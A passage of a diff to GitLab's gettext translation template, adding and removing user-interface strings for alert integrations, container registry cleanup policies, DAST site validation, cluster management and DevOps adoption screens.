msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
